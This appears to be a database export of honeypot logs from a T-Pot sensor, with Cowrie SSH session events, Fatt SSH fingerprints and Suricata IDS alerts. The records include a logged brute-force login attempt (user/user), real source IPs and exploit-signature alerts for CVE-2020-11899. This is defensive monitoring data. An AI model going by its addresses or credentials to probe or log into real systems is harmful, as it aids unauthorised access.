"aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 38074, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.460502", "@timestamp": "2021-09-20T12:18:08.460Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36925	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:09.719098+03	2021-09-20 15:30:02.930867+03	{"_id": "6QYkA3wBvYTbRNuEZ2Ws", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d8b3a5d67995", "@version": "1", "duration": 1.3176960945129395, "timestamp": "2021-09-20T12:18:09.719098Z", "@timestamp": "2021-09-20T12:18:09.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36926	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:18:08.279583+03	2021-09-20 15:30:02.931867+03	{"_id": "0wYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:42368 (192.168.176.2:22) [session: 434548edc848]", "session": "434548edc848", "@version": "1", "protocol": "ssh", "src_port": 42368, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.279583Z", "@timestamp": "2021-09-20T12:18:08.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	SE
36927	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:08.654804+03	2021-09-20 15:30:02.933869+03	{"_id": "1wYkA3wBvYTbRNuEY2XE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "d8b3a5d67995", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:18:08.654804Z", "@timestamp": "2021-09-20T12:18:08.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36929	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:18:08.45976+03	2021-09-20 15:30:02.936868+03	{"_id": "2wYkA3wBvYTbRNuEZGXC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 819668671541626, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38074, "dest_port": 22, "timestamp": "2021-09-20T12:18:08.459760Z", "@timestamp": "2021-09-20T12:18:08.459Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36930	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:08.40205+03	2021-09-20 15:30:02.93887+03	{"_id": "3wYkA3wBvYTbRNuEZmUJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38074, "timestamp": "2021-09-20T12:18:08.402050", "@timestamp": "2021-09-20T12:18:08.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36931	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.319365+03	2021-09-20 15:30:02.939869+03	{"_id": "_QYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.319365+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 95}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0003", "flow_id": 166651106942853, "payload": "FsMAAAABAAAAAAAAD0RFU0tUT1AtMFZRRDYxQgAA/wAB", "@version": "1", "in_iface": "enp5s0", "src_port": 58674, "app_proto": "failed", "dest_port": 5355, "timestamp": "2021-09-20T12:18:15.319365Z", "@timestamp": "2021-09-20T12:18:15.319Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............DESKTOP-0VQD61B....."}}	1	\N	\N	alert	\N	\N
36932	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.314947+03	2021-09-20 15:30:02.941869+03	{"_id": "_gYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 270}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:15.314947Z", "@timestamp": "2021-09-20T12:18:15.314Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36933	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.709146+03	2021-09-20 15:30:02.942868+03	{"_id": "_AYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 400}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:15.709146Z", "@timestamp": "2021-09-20T12:18:15.709Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........................................................"}}	1	\N	\N	alert	\N	\N
36934	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:15.406649+03	2021-09-20 15:30:02.945869+03	{"_id": "AAYkA3wBvYTbRNuEgGYh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.406649+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 4, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET POLICY Reserved Internal IP Traffic", "signature_id": 2002752}, "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "192.168.20.255", "flow_id": 973211605349497, "payload": "3qcpEAABAAAAAAABIEVFRUZGREVMRkVFUEZBQ05EQUZHRkJFRURHREJFQ0FBAAAgAAHADAAgAAEABJPgAAYAAMCoFJM=", "@version": "1", "in_iface": "enp5s0", "src_port": 137, "app_proto": "failed", "dest_port": 137, "timestamp": "2021-09-20T12:18:15.406649Z", "@timestamp": "2021-09-20T12:18:15.406Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..)......... EEEFFDELFEEPFACNDAFGFBEEDGDBECAA.. ..... .............."}}	1	\N	\N	alert	\N	\N
36935	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:15.315731+03	2021-09-20 15:30:02.946868+03	{"_id": "AQYkA3wBvYTbRNuEgGYh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:15.315731Z", "@timestamp": "2021-09-20T12:18:15.315Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36936	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:15.316666+03	2021-09-20 15:30:02.947868+03	{"_id": "AgYkA3wBvYTbRNuEgGYh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:15.316666Z", "@timestamp": "2021-09-20T12:18:15.316Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36937	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.708448+03	2021-09-20 15:30:02.948869+03	{"_id": "AwYkA3wBvYTbRNuEgGYh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.708448+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1053808814182240, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:18:15.708448Z", "@timestamp": "2021-09-20T12:18:15.708Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36938	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.215467+03	2021-09-20 15:30:02.95087+03	{"_id": "BAYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 5, "bytes_toclient": 0, "bytes_toserver": 490}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:16.215467Z", "@timestamp": "2021-09-20T12:18:16.215Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36939	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.72427+03	2021-09-20 15:30:02.952869+03	{"_id": "CQYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 9, "bytes_toclient": 0, "bytes_toserver": 850}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:16.724270Z", "@timestamp": "2021-09-20T12:18:16.724Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36940	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:16.723746+03	2021-09-20 15:30:02.953867+03	{"_id": "DQYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 760}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:16.723746Z", "@timestamp": "2021-09-20T12:18:16.723Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36941	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:16.979486+03	2021-09-20 15:30:02.95587+03	{"_id": "DgYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.979486Z", "@timestamp": "2021-09-20T12:18:16.979Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36942	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:16.980295+03	2021-09-20 15:30:02.956867+03	{"_id": "DwYkA3wBvYTbRNuEhGYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:16.980295Z", "@timestamp": "2021-09-20T12:18:16.980Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36943	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:17.957201+03	2021-09-20 15:30:02.957868+03	{"_id": "FAYkA3wBvYTbRNuEh2bz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:17.957201Z", "@timestamp": "2021-09-20T12:18:17.957Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36944	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:17.958185+03	2021-09-20 15:30:02.958869+03	{"_id": "FQYkA3wBvYTbRNuEh2bz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:17.958185Z", "@timestamp": "2021-09-20T12:18:17.958Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36945	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:15.409518+03	2021-09-20 15:30:02.960868+03	{"_id": "-gYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.409518+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156748378030, "payload": "AYv2MAAIAAIAAAABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:18:15.409518Z", "@timestamp": "2021-09-20T12:18:15.409Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...0..............(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
36947	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:18:15.707804+03	2021-09-20 15:30:02.96287+03	{"_id": "_wYkA3wBvYTbRNuEgGUh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:15.707804+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:fff0:9f02", "flow_id": 653492092390620, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T12:18:15.707804Z", "@timestamp": "2021-09-20T12:18:15.707Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
